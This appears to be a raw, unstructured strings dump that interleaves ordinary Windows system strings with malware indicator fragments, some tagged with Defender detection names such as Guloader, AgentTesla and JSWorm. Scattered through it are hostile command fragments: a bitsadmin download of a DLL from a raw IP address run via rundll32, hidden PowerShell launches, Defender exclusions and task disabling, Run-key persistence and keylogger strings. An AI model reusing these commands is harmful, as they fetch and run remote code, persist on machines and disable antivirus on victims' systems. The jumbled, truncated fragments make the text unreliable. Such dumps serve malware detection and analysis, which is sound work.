C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernel
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
Windows11\job
C:\WINDOWS\System32\GroupPolicy\User
\\.\root\Microsoft\Windows\Defender:__Win32Provider.Name="ProtectionManagement"
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
OS=Windows_NT
OS=Windows_NT
OS=Windows_NT
.?AU?$__abi_FunctorCapture@V<lambda_7d1cb0d866c6a5587b850020ab4268c3>@@XPE$AAU?$IAsyncOperationWithProgress@PE$AAVHttpResponseMessage@Http@Web@Windows@@VHttpProgress@234@@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
.?AU?$__abi_FunctorCapture@V<lambda_edb3eb182ce113b8b8822d6225224d1b>@@XPE$AAU?$IAsyncOperation@PE$AAVPushNotificationChannel@PushNotifications@Networking@Windows@@@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
.?AU?$__abi_FunctorCapture@V<lambda_00c1e307839b871dd188651f0924e604>@@XPE$AAU?$IAsyncOperation@PE$AAVHttpResponseMessage@Http@Web@Windows@@@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
.?AU?$IAsyncOperation@PE$AAVHttpResponseMessage@Http@Web@Windows@@@Foundation@Windows@@
.?AU__I?$_AsyncInfoImpl@PE$AAU?$IAsyncOperationWithProgress@PE$AAVHttpResponseMessage@Http@Web@Windows@@VHttpProgress@234@@Foundation@Windows@@V?$AsyncOperationWithProgressCompletedHandler@PE$AAVHttpResponseMessage@Http@Web@Windows@@VHttpProgress@234@@23@PE$AAVHttpResponseMessage@Http@Web@3@PublicNonVirtuals@details@Concurrency@@
.?AU?$_IAsyncOperationWithProgressToAsyncOperationConverter@PE$AAVHttpResponseMessage@Http@Web@Windows@@VHttpProgress@234@@details@Concurrency@@
.?AV?$_Ref_count_obj@U?$_Task_impl@PE$AAVPushNotificationChannel@PushNotifications@Networking@Windows@@@details@Concurrency@@@std@@
.?AU?$_AsyncInfoImpl@PE$AAU?$IAsyncOperationWithProgress@PE$AAVHttpResponseMessage@Http@Web@Windows@@VHttpProgress@234@@Foundation@Windows@@V?$AsyncOperationWithProgressCompletedHandler@PE$AAVHttpResponseMessage@Http@Web@Windows@@VHttpProgress@234@@23@PE$AAVHttpResponseMessage@Http@Web@3@@details@Concurrency@@
COMPUTERNAME=WINDOWS11
ComSpec=C:\WINDOWS\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData
LOCALAPPDATA=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC
LOGONSERVER=\\WINDOWS11
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
TEMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp
TMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp
USERDOMAIN=Windows11
USERDOMAIN_ROAMINGPROFILE=Windows11
WEBVIEW2_ADDITIONAL_BROWSER_ARGUMENTS=--disable-features=msSmartScreenProtection --edge-webview-enable-mojo-ipcz --edge-webview-foreground-boost-opt-in --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70)"  --enable-features=msEdgeFluentOverlayScrollbar
windir=C:\WINDOWS
[start-process-filepath"powershell.exe"-argumentlist"-executionpolicybypass-windowstylehidden-file`"$
DriverData=C:\Windows\System32\
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Features-Package011~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-OneCore-EnterpriseNetworking-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|!
Microsoft-Windows-RemoteAssistance-Package-Client~31bf3856ad364e35~amd64~~10.0.26100.7623.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Kernel-Package-CodeIntegrity-DriverPolicy-Package~31bf3856ad364e35~amd64~~10.0.26100.1301.cat|!
Microsoft-OneCore-CimFS-UnionFS-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Product-Data-Ge-Beta-Version-EKB-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-TerminalServices-RemoteApplications-Client-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|!
Microsoft-Windows-Wifi-Client-Qualcomm-Qcamain10x64-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Wifi-Client-Qualcomm-Qcamain10x64-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
69^windows.appExtensionHost
69^windows.appExtension
 powershell.exe-windowstylehidden-
--user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70)
--user-data-dir=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView
c:\windows\system32
WindowsPrivilegeEntry).W
LsendUserName: Couldn't get the user name !!C:\Users\%s\AppData\Local\WinUpdate.exeC:\Users\%s\%d-%d-%d.bmpC:\Users\%s\AppData\Local\payload.ps1keyLoggerMain[ESCAPE]Data written in the file successfullywriteLogs: Could not create the file for keylog ouput !!C:\Users\%s\AppData\Local\.windows_defender.conf
\windows folder\
c:\windows\system32\dllcache\
c:\windows\system32\
t for Windows 7 --> 
      <!--The ID below indicates application support for Windows 8 --> 
WindowsGetStringRawBuffer
.?AV?$RuntimeClass@U?$RuntimeClassFlags@$01@WRL@Microsoft@@UIUICommandInvokedHandler@Popups@UI@Windows@@@WRL@Microsoft@@
.?AU?$DelegateInvokeHelper@UIUICommandInvokedHandler@Popups@UI@Windows@@V<lambda_48f03e61741d85dde7999758d1807eca>@@$0?0PEAUIUICommand@234@@?$DelegateArgTraits@P8IUICommandInvokedHandler@Popups@UI@Windows@@EAAJPEAUIUICommand@234@@Z@Details@WRL@Microsoft@@
.?AV?$RuntimeClass@U?$RuntimeClassFlags@$01@WRL@Microsoft@@U?$IAsyncOperationCompletedHandler@PEAUIUICommand@Popups@UI@Windows@@@Foundation@Windows@@VFtmBase@23@@WRL@Microsoft@@
.?AV?$RuntimeClassImpl@U?$RuntimeClassFlags@$01@WRL@Microsoft@@$00$0A@$0A@UIUICommandInvokedHandler@Popups@UI@Windows@@@Details@WRL@Microsoft@@
.?AU?$ImplementsHelper@U?$RuntimeClassFlags@$01@WRL@Microsoft@@$0A@UIUICommandInvokedHandler@Popups@UI@Windows@@@Details@WRL@Microsoft@@
.?AVFTMEventDelegate@?1???$WaitForCompletion@U?$IAsyncOperationCompletedHandler@PEAUIUICommand@Popups@UI@Windows@@@Foundation@Windows@@U?$IAsyncOperation@PEAUIUICommand@Popups@UI@Windows@@@23@@@YAJPEAU?$IAsyncOperation@PEAUIUICommand@Popups@UI@Windows@@@Foundation@Windows@@W4tagCOWAIT_FLAGS@@PEAX@Z@
.?AV?$RuntimeClassImpl@U?$RuntimeClassFlags@$01@WRL@Microsoft@@$00$0A@$0A@U?$IAsyncOperationCompletedHandler@PEAUIUICommand@Popups@UI@Windows@@@Foundation@Windows@@VFtmBase@23@@Details@WRL@Microsoft@@
.?AU?$ImplementsHelper@U?$RuntimeClassFlags@$01@WRL@Microsoft@@$0A@U?$IAsyncOperationCompletedHandler@PEAUIUICommand@Popups@UI@Windows@@@Foundation@Windows@@VFtmBase@23@@Details@WRL@Microsoft@@
.?AU?$IAsyncOperationCompletedHandler_impl@PEAUIUICommand@Popups@UI@Windows@@@Foundation@Windows@@
.?AU?$IAsyncOperationCompletedHandler@PEAUIUICommand@Popups@UI@Windows@@@Foundation@Windows@@
.?AUIUICommandInvokedHandler@Popups@UI@Windows@@
ExitWindows4
run(@tempdir&"\microsoftwindowssecurityessentialspatch_"&$randomno&".exe
filemove(@tempdir&"\windowsexplorer_"&$randomno&".txt",@tempdir&"\internetexplorerupdate_"&$randomno&".exe
&filemove(@tempdir&"\disua_"&$randomno&".txt",@tempdir&"\microsoftwindowssecurityessentialspatch_"&$randomno&".exe
a-z_.exe",1,0)while@inetgetactivesleep(250)wendifregread("hkey_local_machine\software\microsoft\windows\currentversion\run","microsoftwinupdate")=""thenregwrite("
Windows.Security.Authorization.AppCapabilityAccess
Windows.Security.Credentials
IKeyCredentialManagerCreateWithWindowStatics
Windows.Security.Credentials.UI
Windows.Security.Cryptography
Windows.Security.Cryptography.Certificates
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Foundation-Win0-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-Foundation-Win0-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat|
Microsoft-Windows-Client-Desktop-Required-Package041420~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
vQL\WindowsMangerProtect\
_mb.exe?windowsappinstall=
.exe?windowsappinstall=
openwindowstationa
Windows.g.resources
WindowsFormsApp47.Properties.Resources.resources
$paths = @('C:\\Windows\\Temp', 'C:\\Windows\\System32', 'C:\\ProgramData', $userProfilePath, $tempPath, $appDataPath, $localAppDataPath)$processes = @('powershell.exe', 'rundll32.exe', 'cmd.exe', 'conhost.exe', 'wscript.exe', 'cscript.exe', 'mshta.exe', 'regsvr32.exe', 'MsMpEng.exe'Add-MpPreference -ExclusionExtension '.exe' -ErrorAction SilentlyContinueGlobal\StormDLL_Mutex123!#HSTR:Win32/Guloader.KGGP123!MTB
Spinulate\Optimizer.iniRideskole\unferociously.iniPronotal248\Epicorolline.iniNulstillendes\Kecia\Telegrammatic.iniForstuknes\Vedholdendheds30.iniRagas\Palatality.dll%Moorband12%\Epiplastral\Reaktorkerner\Prsidentvalgs\GidyeaSoftware\Microsoft\Windows\CurrentVersion\Uninstall\Adelstands\Highjacked231\Skovgrnsers\Burnfire\Humidity\Hiccupped\Unmissionizeds.lnk!#ALF:Trojan:MSIL/AgentTesla.AMP!MTB
!#XmlSerialGadgetWindowsId
.windowsidentity
!#SCPT:WindowsDiscount_ins4
windowsdiscount
GetSystemWindowsDirectoryW
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.1
regadd"hklm\software\policies\microsoft\windowsdefender\ez
c:\windows\system32\cer%u%.exe c:\programdata\1
schtasks/change/tn"microsoft\windows\windowsdefender\windowsdefendercachemaintenance"/disable
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
.?AU?$default_delete@VShareWindowCommandSourceProxyOwner@Bamo@ShareWindow@Shell@Internal@Windows@@@std@@
start C:\Windows\System\Bypass.exeyoutu.be/JL1cq68yDEs3
c:\windows\system32\cmd.exe/c"start%cd%.trashes\
c:\windows\system32\cmd.exe/c"start%cd%recycled\
%systemroot%\system32\shell32.dll%allusersprofile%\..\..\windows\system32\cmd.exe
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\ServiceProfiles\LocalService\AppData\Local\Microsoft\WindowsApps
pszTemp = reinterpret_cast<PWSTR>(Windows::COM::CoTaskMemAlloc(static_cast<ULONG>(cb) + sizeof(WCHAR)))
Windows::StringUtil::Rtl::Impl::CalculateEncodingLengthForString
Windows::StringUtil::Rtl::Impl::AppendTranscodedStringToPreallocatedBuffer
ItemReference<Windows.Data.PlaceholderTileLogo>
Windows.Data.PlaceholderTileCollection
C:\windows\system32\cmd.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\
onecoreuap\windows\dwm\effects\compiler\graphicseffectgraphtraversal.cpp
onecoreuap\windows\dwm\effects\compiler\flattenedeffectgraph.cpp
onecoreuap\windows\dwm\effects\compiler\effectgenerator.cpp
onecoreuap\windows\dwm\effects\compiler\global\materialbrushfactory.cpp
qwonecoreuap\windows\dwm\effects\compiler\shaderincluderesolver.cpp
\system32\rundll32.exe
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe!App
Microsoft.Windows.NetworkIcon
Microsoft.Windows.Wil.FeatureLogging
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
@%systemroot%\system32\appidsvc.dll,-100
@%SystemRoot%\system32\bfe.dll,-1001stem
@%SystemRoot%\system32\dhcpcore.dll,-100
@%SystemRoot%\System32\dnsapi.dll,-101r
@%systemroot%\system32\dps.dll,-500m32\d
em@%SystemRoot%\System32\dusmsvc.dll,-1
@%SystemRoot%\system32\wevtsvc.dll,-200
@%systemroot%\system32\FntCache.dll,-100
@%SystemRoot%\system32\iphlpsvc.dll,-500
@%systemroot%\system32\srvsvc.dll,-100sy
@%systemroot%\system32\wkssvc.dll,-100f
@%SystemRoot%\system32\lmhsvc.dll,-101n
sy@%windir%\system32\lsm.dll,-1001
@%SystemRoot%\system32\nsisvc.dll,-200em
.d@%SystemRoot%\system32\umpnpmgr.dll,-200
@%SystemRoot%\system32\umpo.dll,-100c
@%systemroot%\system32\profsvc.dll,-300
@%windir%\system32\RpcEpMap.dll,-1001
@%SystemRoot%\system32\samsrv.dll,-1s
@%SystemRoot%\system32\Sens.dll,-200%\sy
@%systemroot%\system32\spoolsv.exe,-1-50
@%SystemRoot%\system32\sysmain.dll,-1000
\s@%SystemRoot%\system32\TabSvc.dll,-100A
@%SystemRoot%\system32\trkwks.dll,-1
\S@%SystemRoot%\system32\winhttp.dll,-100
@%SystemRoot%\System32\lfsvc.dll,-1
@%systemroot%\system32\midisrv.exe,-101r
em@%SystemRoot%\System32\wscsvc.dll,-200e
@%SystemRoot%\system32\bdesvc.dll,-100\t
@%SystemRoot%\system32\trkwks.dll,-1
@%SystemRoot%\system32\vaultsvc.dll,-1003
@%SystemRoot%\System32\wcmsvc.dll,-4097
@%SystemRoot%\system32\winhttp.dll,-100
@%SystemRoot%\system32\wpdbusenum.dll,-100
@%systemroot%\system32\cscsvc.dll,-200
@%systemroot%\system32\midisrv.e@
clicktheicontoreloadmsword.exe%systemroot%\system32\shell32.dll
struct(Windows.Management.Deployment.DeploymentProgress;enum(Windows.Management.Deployment.DeploymentProgressState;i4);u4)
/hWindows.Devices.SmartCards.SmartCardEmulatorContract
\Windows\
+"\appdata\roaming\microsoft\windows\startmenu\programs\startup"endfunction
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70)
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70)
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70)
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70)
Software\Microsoft\Windows\tekstforfatteres\Uninstall\Knikse\rivetedS
Software\Microsoft\Windows\Flunkyize\Uninstall\remitteeS
="c:\windows\!
c:/windows/system32/d
c:/windows/system32/dl
\windows\networkconnections
\system32i
DECRYPT.htaJSWORM/c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "zapiska" /d "Ransom:Win32/JSWorm.B!MTB
regread, outputvar,hkey_local_machine, software\microsoft\windows\currentversion\run,sysbootregwrite, reg_expand_sz, hkey_local_machine, software\microsoft\windows\currentversion\run,sysboot,c:\windows
urldownloadtofile,%mask1%,c:\windows
WindowsForms10.Window.8.app.0.129c866_r7_ad1
Microsoft.Windows.Desktop.Shell.Shell32
Microsoft.Windows.FileExplorerPerf
Microsoft.Windows.Shell.FileExplorer.Aggregate
Microsoft.Windows.TlgAggregateInternal
Microsoft.Windows.FileExplorerErrorFallback
Microsoft.Windows.Shell.DirectLaunchTelemetry
Microsoft.Windows.Shell.Taskbar
Microsoft.Windows.Shell.RunDialog
Microsoft.Windows.Shell.IconCache
Microsoft.Windows.Shell.CloudFiles
Microsoft.Windows.Shell.DesktopWallpaper
Microsoft.Windows.Shell.Desktop.IconLayout
Microsoft.Windows.MobilityExperience
Microsoft.Windows.Shell.ControlPanelBase
Microsoft.Windows.Shell.PropertyThumbnailHandler
Microsoft.Windows.Shell.CoCreateInstanceAsSystemTaskServer
Microsoft.Windows.Shell.Homegroup
Microsoft.Windows.Shell.PostBootReminder
Microsoft.Windows.Shell.Taskbar.ProgrammableTaskbar
Microsoft.Windows.Defender.Shield
Microsoft-Windows-Desktop-Shell-Personalization
Microsoft.Windows.Shell.InfraCriticalFailure
Microsoft.Windows.Desktop.Shell.OOBEHealth
Microsoft.Windows.Shell.Libraries
Microsoft.Windows.Shell.DefaultAssoc
Microsoft.Windows.Shell.FileExplorer.Banners
Microsoft.Windows.Shell.MountPoint
Windows
Windows::Compat::Ids::IdsEtwEvent::EventEtwCallback
Windows::Compat::Ids::IdsMatchingFile::Initialize
Windows::Compat::Ids::IdsMatchingFile::Match
Windows::Compat::Ids::IdsActionItem::Initialize
Windows::Compat::Encapsulation::LoggingSettings::GetIsLoggingAllowed
 @Digest Authentication for Windows
C:\WINDOWS\system32\svchost.exe -k LocalService -p
clickexecutechrometowindowsterminal
\c$\windows\
c:\windows\system32\cmd.exe/cstart
&powershell-windowstylehidden$c=
\WindowsPowerShell\.
s;C:\WINDOWS\system32.
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-UI-Shell-WindowTabManager-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
TCP/IP for WindowsE
_sed by Microsoft TCP/IP for Windows.
TCP/IP for Windows
LogApplySettingscharleseedwards.dynamic-dns.net:\Windows\iexplore.exe
Behavior:Win32/GenericSystemWinlogon
Windows
Windows
c:\windows\system32\narratormain.exec:\mywork\vc\narrator_window_
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Optionsz
WindowsVersion
~bitsadmin/transferdebjob/download/prioritynormalhttp://185.238.0.233/b.dllc:\windows\b.dllrundll32.exec:\windows\b.dll,dllregisterserver%1--full
pcshell\shell\Windows.UI.FileExplorer\src\FileExplorerGlobalSettings.cpp
pcshell\shell\Windows.UI.FileExplorer\src\HostedApplicationBase.cpp
pcshell\shell\Windows.UI.FileExplorer\src\ConditionParser.h
pcshell\shell\Windows.UI.FileExplorer\src\ModernNavBar\FileExplorerSearchController.cpp
Illegal to wait on a task in a Windows Runtime STA
Software\Microsoft\Windows NT\CurrentVersion\Fonts
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
GetProcessWindowStation
s\system32
52^windows.backgroundTasks+
 windows c
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-OneCore-Connectivity-HID-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat|
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Product-Data-DisplayVersion-Ge-25h2-Version-EKB-Wrapper-Package~31bf3856ad364e35~amd64~~10.0.26100.6725.cat|
Microsoft-Windows-TerminalServices-AppServerClient-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
struct winrt::Windows::Foundation::Collections::ValueSet __cdecl winrt::Windows::Foundation::IActivationFactory::ActivateInstance<struct winrt::Windows::Foundation::Collections::ValueSet>(void) const
struct winrt::Windows::ApplicationModel::AppService::AppServiceConnection __cdecl winrt::Windows::Foundation::IActivationFactory::ActivateInstance<struct winrt::Windows::ApplicationModel::AppService::AppServiceConnection>(void) const
D:\a\_work\1\i\Release\x64\SharedUtilities.Stub.BackgroundTasks\g\winrt\Windows.ApplicationModel.AppService.h
auto __cdecl winrt::impl::consume_SharedUtilities_Stub_BackgroundTasks_Utilities_ICdmConnection<struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::ICdmConnection>::SendMessageAsync(const struct winrt::Windows::Foundation::Collections::ValueSet &,const struct winrt::param::hstring &) const
auto __cdecl winrt::impl::consume_Windows_Foundation_IAsyncOperation<struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::Foundation::Collections::ValueSet>,struct winrt::Windows::Foundation::Collections::ValueSet>::GetResults(void) const
auto __cdecl winrt::impl::await_adapter<struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::Foundation::Collections::ValueSet> >::await_resume(void) const
auto __cdecl winrt::impl::consume_Windows_Foundation_Collections_IMap<struct winrt::Windows::Foundation::Collections::IPropertySet,struct winrt::hstring,struct winrt::Windows::Foundation::IInspectable>::Lookup(const struct winrt::param::hstring &) const
struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::Foundation::Collections::ValueSet> &&__cdecl winrt::impl::promise_base<struct std::coroutine_traits<struct winrt::Windows::Foundation::IAsyncOperation<bool>,struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::CdmConnection>::promise_type,struct winrt::Windows::Foundation::IAsyncOperation<bool>,void>::await_transform<struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::Foundation::Collections::ValueSet>>(struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::Foundation::Collections::ValueSet> &&)
bool __cdecl winrt::impl::promise_base<struct std::coroutine_traits<struct winrt::Windows::Foundation::IAsyncOperation<bool>,struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::CdmConnection>::promise_type,struct winrt::Windows::Foundation::IAsyncOperation<bool>,void>::GetResults(void)
auto __cdecl winrt::impl::consume_Windows_Foundation_IReference<struct winrt::Windows::Foundation::IReference<unsigned char>,unsigned char>::Value(void) const
